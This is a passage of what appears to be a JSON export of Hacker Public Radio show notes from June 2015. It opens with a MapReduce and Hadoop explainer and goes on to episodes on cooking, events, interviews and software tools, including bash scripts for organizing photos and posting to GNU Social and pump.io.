                                                            What is MapReduce, Anyway?

                                                            \n\n

                                                            MapReduce is inspired by three approaches from\nfunctional programming for applying a function to each item of a\ncollection of data, namely, Map, Filter and Reduce. That is pretty\nabstract, so I will try to bring some of these ideas down to Earth.\nI'll use lists to represent the “data” in any examples, but the\nconcepts in MapReduce can apply equally well to any data source:\nmultiple streams from the Internet, a number of internal data stores\nfrom multiple sites, and even user keystrokes/mouse moves.\n

                                                            \n

                                                            If a function (or operation) can be applied to\neach item in some kind of input data, you may be able to use map,\nfilter and reduce.

                                                            \n\n

                                                            Defining Terms

                                                            \n\n

                                                            Map

                                                            \n

                                                            When we use the expression\nMap(function: f, data: [1,2,3,4,5,6]), we are declaring that we want\nto apply the function \"f\" to each element in the data. In\nthis case, we have a list of numbers, but the data could be names,\nemployee records, or URLs for Internet documents from the Internet\nthat we would like to parse to extract useful information.

                                                            \n

                                                            Example: function f is square(x) = x * x, and the\ndata is our list [1..6].

                                                            \n
                                                            \nMap( square(x), [1,2,3,4,5,6]) = [square(1),square(2), ..., square(6)], or [1, 4, 9, 16, 25, 36]\n
                                                            \n

                                                            Filter

                                                            \n

                                                            Filtering data is essentially a variation of Map.\nYou could think of it in two stages:

                                                            \n
                                                              \n
                                                            1. Apply a \"test\" function to Map each item to either True or False (\"In\" or \"Out\")

                                                            2. \n
                                                            3. Use the results of that Map operation to drop any item that fails the test (False)

                                                            4. \n
                                                            \n\n

                                                            Having said this, a Filter does not have to be implemented in this way. By\ndeclaring that we want to use a Filter operation, we have specified WHAT we\nwant to do. It really does not matter HOW it gets done.

                                                            \n\n

                                                            Most functional programming tutorials would illustrate a Filter by\nselecting prime numbers from a list of integers, or to isolate numbers that\nare not multiples of 3. A more useful illustration of Filter is a search\nfilter that reviews documents in a repository, or a set of search engine\nresults, and returns only those that pass the \"relevance test\". The test\nitself could be defined using a \"fuzzy\" criterion for relevance (0-20% Not,\n20-50% A Little, 50-75% Fairly, > 75% Very -- or what have you), but the\nend result is that you'll choose some documents to accept, and omit the\nrest.

                                                            \n\n

                                                            In a filter operation on a large number of data items, you might want to\ndrop the items as early as possible. There is no law that requires you to\nmake these decisions in advance when you offer Map or Filter operations on\na server.

                                                            \n\n

                                                            In a MapReduce context, Map and Filter will often end up lumped together.\nThis is fine, because you don't want to waste processing time to perform\npotentially expensive transformations on data or documents that you can rule\nout immediately with a less computationally expensive filter.

                                                            \n

                                                            Reduce

                                                            \n

                                                            A Reduce operation on a collection of data is any\nkind of aggregate operation that boils down all of the detail items\ninto one or more summary metrics computed on the (filtered) data.\nThe canonical examples of a Reduce operation would be a Sum or a\nCount, but there are other possibilities.

                                                            \n\n

                                                            Reduce is usually defined as an operation:\n

                                                            \n\n

                                                            Reduce(function(accumulator, data item) -> new\naccumulator value; initial value; data).

                                                            \n\n

                                                            Sometimes, you may see the Reduce operation\ndefined recursively:

                                                            \n\n
                                                            \nReduce( function: f, initial_value, data = {first_item, all_other_items} ) is equal to\nReduce ( function: f,  new_value = f(initial_value, first_item),  data: {all_other_items})
                                                            \n\n

                                                            If you follow that script, you can just\nrinse-and-repeat until you've processed all of the items.

                                                            \n\n\n

                                                            Why is this some kind of technological advance?

                                                            \n\n

                                                            If you look at this characterization of Map and\nReduce, you'll see that these operations are fairly abstract. The\ndeclarations typically state only what needs to be done, and the\nimplementation steps that specify how it is to be done are left open.

                                                            \n\n

                                                            For operations on data items that are fairly\nindependent of each other, there are advantages in defining things in\nthis way. If there are no dependencies between data items, in the\nsense of the two rules listed below, you can use distributed\nprocessing across several \"servers\" to get to the result\nfor the entire data collection much faster.\n

                                                            \n\n

                                                            Basic ground rules for the simplest case\n(Exceptions and additional constraints will apply in real projects):

                                                            \n\n
                                                              \n
                                                            1. Computations for each data item do not depend on those for other data items, so no communication, coordination or shared memory is needed between \"worker\" machines.

                                                            2. \n
                                                            3. The order of the computations does not matter.

                                                            4. \n
                                                            \n\n

                                                            Under these conditions, Map and Reduce operations\ncould be outsourced from a MapReduce server installation to a fleet\nof \"worker\" computers that can take on pieces of the\noverall computation, and send their results back to the Aggregation\nServer (or \"Boss\" machine). That could give you a\ntremendous speed-up over the alternative of running on a single\ncomputing cluster. So there can be speed advantages that come from\nMapReduce.

                                                            \n\n

                                                            With the right infrastructure, you can relax these\nconstraints and still get many of the same benefits on data that\nneeds to be ordered or preprocessed into some kind of table\nstructure.\n

                                                            \n\n

                                                            Another advantage of the Boss/Workers paradigm for\nMapReduce operations, which may be less obvious, is fault tolerance.\nComputers sometimes fail to complete their assigned tasks. Network\nconnections can be lost. In a Boss/Workers setup, a Worker could\nsend a status report back to the Boss machine (or a Supervisor, since\neven the Boss role can be shared) that either contains a SUCCESS\nstatus flag and the results of its assignment, or a FAILED flag.\n

                                                            \n

                                                            If a Boss receives a FAILED message, that piece of\nthe overall computation could be re-assigned to other Worker(s). In\nthe case of a network outage, the Boss could respond to a Timeout\nevent for the Worker, flush that assignment to that Worker, and\nre-assign the unfinished task to other resources with a new unique\nID. Any homework that is turned in after the Timeout event can then\nbe ignored.

                                                            \n\n

                                                            Note: This is just one way to build in parallelism\nand fault tolerance.\n

                                                            \n\n

                                                            An additional advantage to this sort of vague\ndefinition of MapReduce tasks is the ability to work with distributed\ndata in a way that allows greater use of local processing. A central\nserver (Hub) processing model forces remote sites to transmit all the\noriginal data to the Hub, wait for the Hub to do the processing, and\nthen possibly transfer the processed results back from the Hub to\nthe remote data repository. That's a lot of network traffic, any\npart of which could be lost, corrupted or even intercepted by third\nparties.

                                                            \n\n

                                                            In a Reduce operation, where everything is boiled\ndown to some [set of] summary measures, the local site could do much\nof the processing work, and transmit only the needed intermediate\nresults to the Boss back at the Hub for inclusion in the final totals\nover all Worker machines.

                                                            \n\n

                                                            Summary: Leaving the implementation details out of\nthe MapReduce specification allows for flexibility and some degree of\noptimization in getting these operations done in the most beneficial\nway.\n

                                                            \n
                                                              \n
                                                            • You can optimize to save time, even if that means spending more on hardware and communications.

                                                            • \n
                                                            • You can design to save money (local processing, servers that are easier to replace, etc.).

                                                            • \n
                                                            \n\n

                                                            Whatever your objectives, you can adjust your\nimplementation to get the best result for your application.

                                                            \n\n\n

                                                            Enter Hadoop.

                                                            \n\n

                                                            Hadoop is an open source project from the Apache\nFoundation that lets you set up massively parallel distributed\nprocessing schemes for computations that can be fit into the\nMapReduce paradigm. The best part is that you can make Hadoop work\non varying types of hardware, so you don't need to run the pieces of\ncomputational work solely on high-end, expensive supercomputers or\ncomplex computing cluster installations.\n

                                                            \n\n

                                                            Hadoop makes it possible to farm out the bits of\ncomputational \"homework\" to \"commodity hardware\"\n– whatever that may mean for your installation. Commodity hardware\nis also an abstract term. In practice, you can match the level of\ncomputing power for Workers to meet the requirements of the assigned\nwork. The worker machines could be set up on computers that are\neasy to provision and replace, so you won't have to buy\nspecial-purpose servers that require extended periods for setup and\nconfiguration.\n

                                                            \n\n

                                                            MapReduce does NOT refer to the process of\nsplitting up a large data processing job into assignments. The\nconcepts behind MapReduce help us to think about and plan classes of\nprocessing tasks that are frequently applied to large datasets, or to\na lot of data streams that are coming in from many sources and\nlocations.\n

                                                            \n\n

                                                            So far, it sounds like MapReduce and Hadoop are a\nkind of silver bullet that can eliminate the time and expense\nrequired to solve “Big Data” problems. As helpful as these ideas\nand their supporting technologies may be, not every potential\nMapReduce job can be optimized as much as we might like. Hadoop\nwill not offer a cure-all for every problem.\n

                                                            \n\n

                                                            We still have to understand the problem, determine\nwhat is needed, and work hard to do the right thing.

                                                            \n\n

                                                            But when there is a good fit between the problem\nand this approach toward providing a solution, Hadoop and MapReduce\ncan be very helpful.

                                                            \n\n","hostid":229,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"map,reduce,hadoop","version":0,"downloads":0,"valid":1}, {"id":1787,"date":"2015-06-09","title":"A Beginner with a Wok","duration":1025,"summary":"Frank Bell shares some of the things he's learned about cooking with a wok.","notes":"

                                                            \nMerriam-Websters defines \"stir-fry\" as \"to fry quickly over high heat in a lightly oiled pan (as a wok) while stirring continuously.\"\n(Source: https://www.merriam-webster.com/dictionary/stir-fry)\n

                                                            \n

                                                            \nTalk about stir-frying. Not an expert by any means, but think I've learned enough to share a bit.\n

                                                            \n

                                                            \nFrank bought a wok, quite on impulse, and has been experimenting with stir-fry recipes and has found it surprisingly easy--much easier than, say, making a souffle or oysters Rockefeller. In this podcast, he discusses what he has learned and in the context of narrating the preparation of a meal.\n

                                                            \n\n

                                                            Some Links:

                                                            \n\n

                                                            \nWok How-Tos:\n

                                                            \n\n\n\n

                                                            Two Recipes:

                                                            \n\n","hostid":195,"series":93,"explicit":0,"license":"CC-BY-SA","tags":"cooking,stir-fry,wok","version":0,"downloads":0,"valid":1}, {"id":1788,"date":"2015-06-10","title":"Podcrawl Glasgow 2015","duration":1950,"summary":"Dave Morriss and Kevie have a yarn about the upcoming event Podcrawl Glasgow 2015","notes":"

                                                            \nDave Morriss and Kevie have a yarn about the upcoming Glasgow Podcrawl. The event takes place on the 10th of July 2015 and kicks off at 6pm in the State Bar, Holland Street. The event is open to anybody with an interest in open source software or creative commons music. Whether you're an enthusiast or just interest in finding out more, also if you're a member of a band then we would love to have you along for a yarn over a few pints.
                                                            \nCheck out https://kmacphail.blogspot.co.uk/2015/01/podcrawl-glasgow-2015.html for more details and a map of how to get to the bar.\n

                                                            \n","hostid":296,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Glasgow,Podcrawl,open source, ccmusic, podcast, Linux","version":0,"downloads":0,"valid":1}, {"id":1789,"date":"2015-06-11","title":"The Ubuntu Quickly Ebook Template and Ebooks in General","duration":2032,"summary":"Jon Kulp and Mike Hingley talk about ebooks in general and Mike's Quickly Ebook Template project","notes":"

                                                            Ubuntu Quickly Ebook Template

                                                            \n\n

                                                            I recorded this conversation with Mike Hingley about a year ago (12 June 2014) but never released it because I thought the audio didn't sound very good and I didn't feel like editing it at the time. Honestly I forgot all about it until now when the HPR queue is low again. I apologize for the slightly clippy quality of my audio, I must have had my microphone too hot on the mumble. It's really interesting to listen to this conversation a year later because I have worked out so many of the problems that I was mentioning to Mike, including the automation of the entire build process using command-line tools from Calibre.

                                                            \n\n

                                                            Links

                                                            \n\n\n\n

                                                            Credits

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"ebooks, calibre, quickly, ubuntu","version":0,"downloads":0,"valid":1}, {"id":1790,"date":"2015-06-12","title":"Penguicon 2015 Report","duration":830,"summary":"Penguicon 2015 happened on April 24-26, 2015 in Southfield, Michigan","notes":"

                                                            \nPenguicon 2015 is a combined technology and science fiction convention in Southfield, Michigan, a suburb of Detroit, and presented over 500 hours of programming over the entire weekend. Of this, around 100 hours were open source, tech-related. In this episode I give you my personal diary of my experience at this great event.\n

                                                            \n

                                                            \nLinks:\n

                                                            \n\n","hostid":198,"series":96,"explicit":0,"license":"CC-BY-SA","tags":"Penguicon 2015","version":0,"downloads":0,"valid":1}, {"id":1791,"date":"2015-06-15","title":"Organizing Photos with Bash","duration":1875,"summary":"Use bash to simplify the process of organizing and backing up photographs.","notes":"

                                                            Summary

                                                            \n

                                                            In this episode I provide an overview of how I use bash to automate my process\n for orgainizing photographs on my computer.

                                                            \n\n

                                                            There are two main objectives of this script:

                                                            \n
                                                              \n
                                                            1. Organize photographs in a folder structure that makes sense to me, e.g. 2015/2015-05-22
                                                            2. \n
                                                            3. Allow me to back up my photographs using a variety of methods.
                                                            4. \n
                                                            \n\n

                                                            Download the Script

                                                            \n\n

                                                            This script is hosted on Github and you can download the latest version using following command:

                                                            \n\ngit clone https://gist.github.com/81e489b2a7397bb17305.git\n\n

                                                            Script

                                                            \n\n
                                                            \n\n#!/bin/bash\n\nshopt -s -o nounset\n\n# Create variables and configure script.\ndeclare -rx SCRIPT=${0##*/}\ndeclare TMPDIR=/tmp/photos\ndeclare -r CURRENTDIR=`pwd`\ndeclare FILES=$TMPDIR/*\ndeclare DESTINATION=/media/Tyr/Pictures/Photos\ndeclare -r GOOGLEUSER=\"tnyplz@gmail.com\"\ndeclare -r  OPTSTRING=\"-h, -d:\"\ndeclare -r  LONGOPTSTRING=\"help, destination-directory, no-google-backup, sd-card, tmp-dir, no-delete, backup\"\ndeclare RESULT\ndeclare GOOGLE_BACKUP=true\ndeclare SD=false\ndeclare SDDIR\ndeclare NODELETE=false\ndeclare S3=false\n\n# Executable dependencies\ndeclare -rx find=\"/usr/bin/find\"\ndeclare -rx gphoto2=\"/usr/bin/gphoto2\"\ndeclare -rx google=\"/usr/bin/google\"\ndeclare -rx dcraw=\"/usr/bin/dcraw\"\ndeclare -rx rsync=\"/usr/bin/rsync\"\ndeclare -rx rename=\"/usr/bin/rename\"\ndeclare -rx tar=\"/usr/bin/tar\"\ndeclare -rx s3cmd=\"/usr/bin/s3cmd\"\n\n# Sanity Checks\nif test -z $BASH; then\n    printf \"$SCRIPT:$LINENO: please run this script with the BASH shell\\n\" >&2\n    exit 192\nfi\n# check for find\nif test ! -x $find; then\n    printf \"$SCRIPT:$LINENO: the $find command is not available -- \\\naborting\\n\" >&2\n    exit 192\nfi\n# check for gphoto2\nif test ! -x $gphoto2; then\n    printf \"$SCRIPT:$LINENO: the $gphoto2 command is not available -- \\\naborting\\n\" >&2\n    exit 192\nfi\n# check for google\nif test ! -x $google; then\n    printf \"$SCRIPT:$LINENO: the $google command is not available -- \\\naborting\\n\" >&2\nfi\n# check for dcraw\nif test ! -x $dcraw; then\n    printf \"$SCRIPT:$LINENO: the $dcraw command is not available -- \\\naborting\\n\" >&2\nfi\n# check for rename\nif test ! -x $rename; then\n    printf \"$SCRIPT:$LINENO: the $rename command is not available -- \\\naborting\\n\" >&2\n    exit 192\nfi\n# check for rsync\nif test ! -x $rsync; then\n    printf \"$SCRIPT:$LINENO: the $rsync command is not available -- \\\naborting\\n\" >&2\nfi\n# check for tar\nif test ! -x $tar; then\n    printf \"$SCRIPT:$LINENO: the $tar command is not available -- \\\naborting\\n\" >&2\nfi\n# check for glacier-cmd\nif test ! -x $s3cmd; then\n    printf \"$SCRIPT:$LINENO: the $s3cmd command is not available -- \\\naborting\\n\" >&2\nfi\n\n\n# Check for Options\n# =================\n\ngetopt -T\nif [ $? -ne 4 ]; then\n    printf \"$SCRIPT:$LINENO: %s\\n\" \"getopt is in compatibility mode\" >&2\n    exit 192\nfi\n\nRESULT=$(getopt --name \"$SCRIPT\" --options \"$OPTSTRING\" --longoptions \"$LONGOPTSTRING\" -- \"$@\")\nif [ $? -gt 0 ]; then\n    exit 192\nfi\n\neval set -- \"$RESULT\"\n\nwhile [ $# -gt 0 ]; do\n    case \"$1\" in\n    -h | --help) # show help\n        printf \"%s\\n\" \"\nThis script helps you automate the process of downloading photos from\nyour camera, uploading backups to Google Picasa, and syncing the files\nwith a specified directory.\n\nDependendies:\n  gphoto2\n  dcraw\n  googlecl\n  rsync\n  s3cmd\n\nusage: $SCRIPT [options]\n\nOptions:\n  -h | --help                        Show help for $SCRIPT\n  --destination-directory {LOCATION} Set the location where the photos will be\n                                     copied to.\n  --tmp-dir {LOCATION}               Set the temporary directory where images\n                                     will be downloaded to initially. The\n                                     default is /tmp/photos.\n  --no-google-backup                 Disable uploading low rez copies to Google\n                                     Plus.\n  --sd-card {LOCATION}               Set the location of the sd card.\n  --no-delete                        Do not delete from temp file.\n  --backup {FOLDER} {S3 BUCKET}      Create archive from folder and upload to S3.\n  \"\n        exit 0\n        ;;\n    --destination-directory ) shift\n        if [ $# -eq 0 ]; then\n            printf \"$SCRIPT:$LINENO: %s\\n\" \"Invalid argument for destination. No destination given.\" >&2\n            exit 192\n        fi\n        DESTINATION=\"$1\"\n        ;;\n    --tmp-dir ) shift\n        if [ $# -eq 0 ]; then\n            printf \"$SCRIPT:$LINENO: %s\\n\" \"Invalid argument for tmp-dir.  No temporary directory given.\" >&2\n            exit 192\n        fi\n        TMPDIR=\"$1\"\n        FILES=$TMPDIR/*\n        ;;\n    --no-google-backup ) shift\n        GOOGLE_BACKUP=false\n        ;;\n    --sd-card ) shift\n        SD=true\n        if [ $# -eq 0 ]; then\n            printf \"$SCRIPT:$LINENO: %s\\n\" \"Invalid argument for sd directory. No sd card directory given.\" >&2\n            exit 192\n        fi\n        SDDIR=\"$1\"\n        ;;\n    --no-delete ) shift\n\tNODELETE=true\n\t;;\n    --backup ) shift\n        if [ $# -eq 0 ]; then\n            printf \"$SCRIPT:$LINENO: %s\\n\" \"Invalid argument for AWS Glacier Backup. Backup folder and vault must be specified.\"\n        fi\n        S3=true\n        BACKUP_FOLDER=\"$1\"\n        BUCKET=\"$2\"\n        ;;\n    esac\n    shift\ndone\n\n# Functions\n# =========\n\n# function to convert a raw image to jpg.\n# input: requires the user to specify the file extention ($1).\nfunction convert_to_jpg () {\n  FILES2CONVERT=$TMPDIR/*\"$1\"\n  for FILE in $FILES2CONVERT\n  do\n    FILE2BACKUP=$TMPDIR/Backup/`basename \"$FILE\" \"$1\"`'.jpg'\n    if [ -e $FILE2BACKUP ]; then\n        printf \"$SCRIPT:$LINENO: Skipping $FILE, jpg file already exists\\n\"\n    elif [ -e $FILE ]; then\n        printf \"$SCRIPT:$LINENO: Converting $FILE to $FILE2BACKUP\\n\"\n        $dcraw -cvz -w -o 1 -q 3 \"$FILE\" | cjpeg -quality 80 -optimize > \"$FILE2BACKUP\"\n    else\n        printf \"Did not convert $FILE\\n\"\n    fi\n  done\n}\n\n# function to resize jpeg to upload to picasa\nfunction resize_to_thumb () {\n    FILES2RESIZE=$TMPDIR/Backup/* # TODO pass this in as argument along with destination directory\n    for FILE in $FILES2RESIZE\n    do\n        printf \"$SCRIPT:$LINENO: Creating thumbnail for $FILE...\"\n        convert $FILE -resize 2048x2048 $TMPDIR/Backup/Upload/`basename \"$FILE\" \".jpg\"`'_thumb.jpg'\n        printf \"done\\n\"\n    done\n}\n\n# function to import photos\nfunction import_photos () {\n    printf \"$SCRIPT:$LINENO: Importing Photos\\n\"\n    if $SD; then\n        cp -p \"$SDDIR\"/* .\n    else\n        $gphoto2 --quiet --get-all-files\n    fi\n}\n\n# function to remove spaces in file names\nfunction remove_spaces () {\n    $find $1 -depth -name \"* *\" -execdir $rename 's/ /_/g' \"{}\" \\;\n}\n\n# function to sort images into direcotries based on date.\n# input: directory to sort ($1)\n#        directory to sort into ($2)\nfunction sort_images () {\n    SORTDIR=$2'/Sorted/'\n    for FILE in $1\n    do\n        printf \"$SCRIPT:$LINENO: Sorting $FILE\\n\"\n        DATEDIR=$SORTDIR`date -r \"$FILE\" +%Y`'/'`date -r \"$FILE\" +%Y-%m-%d`\n        mkdir -p $DATEDIR\n        cp \"$FILE\" $DATEDIR/\n    done\n}\n\n# function create archive and upload to AWS S3\n# input: directory to create an archive for ($1)\n#        s3 bucket name ($2)\nfunction archive_folder () {\n    ARCHIVE=$TMPDIR/$(basename $1).tar.bz2\n    printf \"$SCRIPT:$LINENO: archiving $ARCHIVE\\n\"\n    $tar -cvjf $ARCHIVE $1\n    $s3cmd put $ARCHIVE $2\n}\n\n# Create temporary directory\nmkdir -p $TMPDIR\ncd $TMPDIR\n\n# Create AWS Glacier archive\nif $S3; then\n    archive_folder $BACKUP_FOLDER $BUCKET\n    cd $CURRENTDIR\n    if [ $NODELETE = false ]; then\n        rm -rf $TMPDIR\n    fi\n    exit 0\nfi\n\n# Import files from camera\nimport_photos\nprintf \"$SCRIPT:$LINENO: Importing Photos Done!\\n\"\n\n# Remove Spaces in Filenames\nremove_spaces $TMPDIR\n\n#Convert all files to lower case\nprintf \"$SCRIPT:$LINENO: Converting Photos to Lower Case.\\n\"\nfor FILE in *\ndo\n    f=`echo $FILE | tr '[:upper:]' '[:lower:]'`\n    mv \"$FILE\" \"$f\"\ndone\nprintf \"$SCRIPT:$LINENO: Converting Photos to Lower Case Done!\\n\"\n\n# Sort files\nsort_images \"$FILES\" \"$TMPDIR\"\nprintf \"$SCRIPT:$LINENO: Sorting Images Done!\\n\"\n\n# Create backup jpgs and upload them to Picassa\nmkdir -p $TMPDIR/Backup\ncp $TMPDIR/*.jpg $TMPDIR/Backup/\n\nconvert_to_jpg \".nef\"\nconvert_to_jpg \".nrw\"\nmkdir -p $TMPDIR/Backup/Upload\nresize_to_thumb\n\nif $GOOGLE_BACKUP; then\n    # Upload jpgs to Picassa\n    # Requires that you authorize googlecl through the web browser.\n    $google picasa create --user $GOOGLEUSER --title \"Backup \"`date +%Y-%m` $TMPDIR/Backup/Upload/*\nfi\n\n# Copy files to final locations\n$rsync -ravv $TMPDIR/Sorted/ $DESTINATION # TODO test to make sure destination works\n\ncd $CURRENTDIR\n\n# Remove temp folder\nif [ $NODELETE = false ]; then\n    rm -rf $TMPDIR\nfi\n\nprintf \"$SCRIPT:$LINENO: Processing Complete!\\n\"\nexit 0\n\n
                                                            \n","hostid":263,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"bash, photography, automation","version":0,"downloads":0,"valid":1}, {"id":1792,"date":"2015-06-16","title":"An Interview with Andrea Frost","duration":607,"summary":"David Whitman interviews Andrea Frost during LinuxFest Northwest.","notes":"

                                                            \nI interview Andrea Frost at LinuxFest Northwest.\n

                                                            \n

                                                            Andrea Frost

                                                            \n

                                                            \nAndrea Frost holds a B.A. in German language and a concentration in mathematics from Western Washington University. A passionate advocate of youth and education, Frost has a wide spectrum of volunteer experience with youth organizations.\n

                                                            \n

                                                            \nShe is currently an office assistant for Kids Council Northwest and finishing a post-graduate degree in computer science from Western.\n

                                                            \n

                                                            \nhttps://awc.cs.wwu.edu/\nWestern Washington University\nAssociation for Women in Computing\n

                                                            \n

                                                            \n\nhttps://www.bellinghamherald.com/news/local/article22275924.html\n

                                                            \n","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"LinuxFest Northwest, Andrea Frost, Women in Computing","version":0,"downloads":0,"valid":1}, {"id":1793,"date":"2015-06-17","title":"Some thoughts about the Go language","duration":539,"summary":"I've been learning Go recently. Here are my initial thoughts about the language and framework.","notes":"

                                                            \nShow_Notes:\n

                                                            \n

                                                            \nHere are some useful links when learning Go:\n

                                                            \n\n\n\n

                                                            \nAnd here are some links to things I mentioned during the show:\n

                                                            \n\n\n","hostid":302,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Go language,programming language","version":0,"downloads":0,"valid":1}, {"id":1794,"date":"2015-06-18","title":"12-Tone Music and My Random 12 Tone Row of the Day","duration":841,"summary":"An Intro to 12-tone music and my \"Random 12-Tone Row of the Day\" bash script.","notes":"

                                                            12-Tone Music (Dodecaphony) and My Random 12 Tone Row of the Day

                                                            \n\n

                                                            In this episode I cover a bit of music theory as well as some bash scripting. The topic is the Twelve-Tone System of music composition and the scripting of a random 12-tone row to be generated daily. For a full transcript of the show click here.

                                                            \n\n\n

                                                            \n \"randomly\n

                                                            \n\n
                                                            \n\t\n
                                                            \n\n

                                                            Links

                                                            \n\n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"bash, dodecaphony, music theory, 12-tone, twelve-tone, scripting, Lilypond","version":0,"downloads":0,"valid":1}, {"id":1795,"date":"2015-06-19","title":"54 - LibreOffice Impress - Templates and Master Pages","duration":1034,"summary":"Using and acquiring Templates in Impress","notes":"

                                                            \nThe terms Template and Master Pages refer to the same thing, but inside the Impress application they are referred to as Master Pages, and they are accessed on the right-hand side of the page. If you as the author do not choose a specific Template to use when creating a new presentation, Impress will base the presentation on the default Template that is built in to Impress. But you can create your own default Template if you like.\nFor more go to https://www.ahuka.com/?page_id=1188\n

                                                            \n

                                                            \nLinks\n

                                                            \n\n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Impress, Templates, Master Pages","version":0,"downloads":0,"valid":1}, {"id":1796,"date":"2015-06-22","title":"Audacity - Chains, Notches and Labels","duration":909,"summary":"Some more Tips and Tricks when using Audacity","notes":"

                                                            \nI expand some on Jon Kulp's show on using Labels in Audacity. Specifically, I comment on importing a Label track from a Tab separated text file.\n

                                                            \n

                                                            \n\nI go on to talk about using Notch filters, a Nyquist-effect plugin for Audacity. Notch filters work extremely well on certain frequency centered noise like mains hum.\n

                                                            \n

                                                            \n\nI follow up by talking about chains. A way of doing batch operations directly in Audacity.\n

                                                            \n

                                                            Links

                                                            \n\n","hostid":307,"series":45,"explicit":0,"license":"CC-BY-SA","tags":"Audacity, Recording, Editing, notch filter, chain","version":0,"downloads":0,"valid":1}, {"id":1797,"date":"2015-06-23","title":"An Interview with Aaron Wolf of the Snowdrift Co-op Project","duration":875,"summary":"Aaron Wolf of the Snowdrift Co-op project is interviewed by David Whitman","notes":"

                                                            \nAn Interview with Aaron Wolf of the Snowdrift Co-op project by David Whitman during LinuxFest Northwest 2015\n

                                                            \n

                                                            \nAaron Wolf https://blog.wolftune.com/\n

                                                            \n

                                                            \nSnowdrift: https://snowdrift.coop\nAbout:\nWe're building a sustainable funding platform for freely-licensed works. Our innovative matching pledge creates a network effect where we all work together to support these public goods.\n

                                                            \n

                                                            \nIntroducing Snowdrift.coop\n

                                                            \n

                                                            \nOur matching patronage system allows everyone to support FLO projects with minimal risk and maximum impact.\n

                                                            \n

                                                            \nUnlike the one-to-one matching used in traditional fundraising, we use a many-to-many matching pledge that creates a network effect (like the internet itself) so that we all reinforce one another. Unlike one-time fundraising campaigns that help projects get started, Snowdrift.coop pays out monthly to provide sustainability for ongoing work.\n

                                                            \n

                                                            \nBefore the times of modern market capitalism, creative workers were supported by wealthy patrons. With Snowdrift.coop, the global community becomes the patron. Instead of businesses deciding the options that we then merely choose from as consumers, we will support and actively work with projects that best serve the interests of the public.\n

                                                            \n

                                                            \nSnowdrift wiki: https://snowdrift.coop/p/snowdrift/w\n

                                                            \n

                                                            \nIRC at: freenode.net at #snowdrift \n

                                                            ","hostid":209,"series":78,"explicit":1,"license":"CC-BY-SA","tags":"Free Software Support","version":0,"downloads":0,"valid":1}, {"id":1798,"date":"2015-06-24","title":"Machine learning and service robots.","duration":563,"summary":"Interview with Prof. Dr. Wolfgang Ertel at the 2014 MakerWorld in Germany","notes":"

                                                            \nLink to the videos of the crawling robots: https://iki.hs-weingarten.de/?lang=eng&page=p_crawler\n

                                                            \n

                                                            \nLink to the general Ravensburg-Weingarten University of Applied Sciences page, where you can also find videos of the service robots \"Kate\" and \"Marvin\": \nhttps://iki.hs-weingarten.de/?lang=eng&page=aktuelles\n

                                                            ","hostid":271,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"machine learning, robots, maker","version":0,"downloads":0,"valid":1}, {"id":1799,"date":"2015-06-25","title":"Posting From the Command Line on Open Social Networks","duration":764,"summary":"I explain how to post content from the command line on open social networks pump.io and GNU Social","notes":"

                                                            Posting From the Command Line on Open Social Networks

                                                            \n\n

                                                            You can post to your open social media timelines from the command line using API access. Why would you want to do this?

                                                            \n\n
                                                              \n\t
                                                            • Script automated postings.
                                                            • \n\t
                                                            • Bots
                                                            • \n\t
                                                            • Post from terminal environments.
                                                            • \n\t
                                                            • Post from wherever else you are without having to go to the social media site or to the client that you use to access it.
                                                            • \n\t
                                                            • Trigger postings via voice command (what I do).
                                                            • \n
                                                            \n\n

                                                            On GNU Social

                                                            \n\n

                                                            Here is the basic format for the command to post a message to a Statusnet / GNU Social timeline:

                                                            \n\n

                                                            curl -s --basic --user <username:password> --data status=\"Hello World\" --output /dev/null https://instance.domain.com/api/statuses/update.xml

                                                            \n\n

                                                            And here is the script I use to post a message to my timeline, launched by a blather voice command:

                                                            \n\n
                                                            \n#!/bin/bash\n\n# SN account info\nuser=johndoe\npass='password123'\n\n# a place to store the text message \ntext=/tmp/message.txt\n\n# Virtual keystrokes to copy selected text to the clipboard\nxdotool key Control+c\n\n# pipe text out of clipboard into the text file\nxclip -o > $text\n\n# rest for half a sec\nsleep .5\n\ncurl -s --basic \\\n--user $user:$pass \\\n--data status=\"$(cat \"$text\")\" \\\n--output /dev/null \\\nhttps://instance.domain.com/api/statuses/update.xml \n\nrm $text\n\nexit 0\n
                                                            \n\n

                                                            On Pump.io

                                                            \n\n

                                                            On pump.io you have to install the pump.io software on your computer. You don't have to be running a server, you just have to have the binaries so that you can run the commands. I will not go into how this is done on this podcast, but there's a link to the pump.io website below and there should be installation instructions available there. Once you have the software installed, you also have to allow command-line access to your account and get the token for authentication, maybe authorize the user too:

                                                            \n\n
                                                            \npump-register-app -s instance.domain.com -P 443 -t CLI\n
                                                            \n\n
                                                            \npump-authorize -s instance.domain.com -P 443 -u username\n
                                                            \n\n

                                                            Finally you can post to your timeline from the command line:

                                                            \n\n

                                                            pump-post-note -s instance.domain.com -P 443 -p -u username -n \"Hello World.\"

                                                            \n\n

                                                            My script to post a message to the pump.io timeline, launched by a blather voice command:

                                                            \n\n
                                                            \n#!/bin/bash\n\n# a place to put the text. \ntext=/tmp/message.txt\n\n# --------------------------------\n# Since markdown is possible, I run \n# the text through markdown to get\n# a bit of formatting and save it\n# as a separate file \n# --------------------------------\npump=/tmp/pump.txt\n\n# Virtual keystrokes to copy selected text to the clipboard\nxdotool key Control+c\n\n# pipe text out of clipboard into the text file\nxclip -o > $text\n\n# run Markdown\nmarkdown $text > $pump\n\n# Post message\npump-post-note -s instance.domain.com -P 443 -p -u username -n \"$(cat $pump)\"\n\nsleep 1\n\nrm $text\nrm $pump\n\nexit 0\n
                                                            \n

                                                            Links

                                                            \n\n\n","hostid":238,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"scripting, command-line, social media, GNU Social, pump.io","version":0,"downloads":0,"valid":1}, {"id":1800,"date":"2015-06-26","title":"YouTube Video Subscriptions","duration":882,"summary":"How to subscribe to and watch YouTube Video series, with suggestions","notes":"

